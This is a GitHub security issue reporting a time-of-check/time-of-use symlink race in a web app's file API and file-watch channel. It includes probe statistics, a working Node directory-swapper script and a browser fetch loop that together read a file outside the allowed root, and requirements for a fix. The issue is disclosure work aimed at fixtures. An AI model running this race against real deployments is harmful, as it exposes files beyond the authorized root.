Repository navigation
Description
Problem
The file API and file-watch channel authorize a pathname, then later use that pathname again. A process with write access inside an allowed root can replace a parent directory with a symlink between those operations. The subsequent read or metadata lookup can reach a file outside the authorized root.
This predates #393. It was investigated while handling the follow-up in #393 (review). It is not limited to session-local files.
Executed evidence
Real route-handler and file-channel probes used only non-secret fixture files and a concurrent parent-directory swapper:
| Probe | Base e8496c4b |
Contribution head 412dfc10 |
|---|---|---|
| Outside-file metadata reported by the file channel | 298 / 14,500 events | 23 / 16,500 events |
| Outside-file contents returned by the read handler | 302 / 38,500 requests | 102 / 39,700 requests |
The ordinary client path has the expected in-root file. Only the concurrent writer changes its parent. No credential or real private file was used in these probes. The attacker must already be able to modify a directory below an allowed root; this is not an unauthenticated arbitrary-file-read claim.
Reproduction recipe
Use a disposable allowed workspace and an outside directory that is not an allowed root. Put INSIDE_MARKER in <workspace>/dir/note.txt and OUTSIDE_MARKER in <outside>/note.txt. Never use real sensitive files.
Run this Node script as node swap.mjs <workspace> <outside> while reading the normal workspace file through the authenticated file viewer. The swapper stops after five seconds and restores the fixture directory:
import fs from "node:fs";
import path from "node:path";
const [root, outside] = process.argv.slice(2);
const dir = path.join(root, "dir");
const saved = path.join(root, "dir.saved");
const until = Date.now() + 5000;
try {
while (Date.now() < until) {
fs.renameSync(dir, saved);
fs.symlinkSync(outside, dir);
fs.unlinkSync(dir);
fs.renameSync(saved, dir);
}
} finally {
if (fs.existsSync(saved)) {
try { fs.unlinkSync(dir); } catch {}
fs.renameSync(saved, dir);
}
}In the authenticated browser console, repeatedly fetch the fixture's ordinary read URL during that interval:
const target = "/absolute/allowed/workspace/dir/note.txt";
const url = "/api/files/" + target.replace(/^\/+/, "").split("/").map(encodeURIComponent).join("/") + "?type=read";
const until = Date.now() + 5000;
let outsideResponses = 0;
while (Date.now() < until) {
const response = await fetch(url);
if (response.ok && (await response.text()).includes("OUTSIDE_MARKER")) outsideResponses++;
}
console.log({ outsideResponses });Timing affects the number of hits. The executed counts above came from the route-handler/channel probe, not this browser-console variant.
Scope and requirements
Relevant paths: authorizeFileAccess() in lib/file-authorization.ts, file reads/downloads/metadata in app/api/files/[...path]/route.ts, and openFileChannel() in lib/event-stream-hub.ts.
A fix should bind authorization and the subsequent filesystem operation to the same authorized object, including parent components. Preserve ordinary editor atomic-save behavior and supported platforms. Merely keeping a descriptor open forever at subscription time is not sufficient: an executed atomic-save probe left it on the old inode (fstat size 10 versus current pathname size 33), so later edits would disappear. The initial authorize-to-open window also needs consideration.
The appropriate filesystem strategy is intentionally left open; no new platform subsystem is part of #393.
Activity
fix(security): close listDirectory TOCTOU race (fixes ompweb-dev#396)
Merge pull request ompweb-dev#558 from ompweb-dev/fix-issue-396-2026-…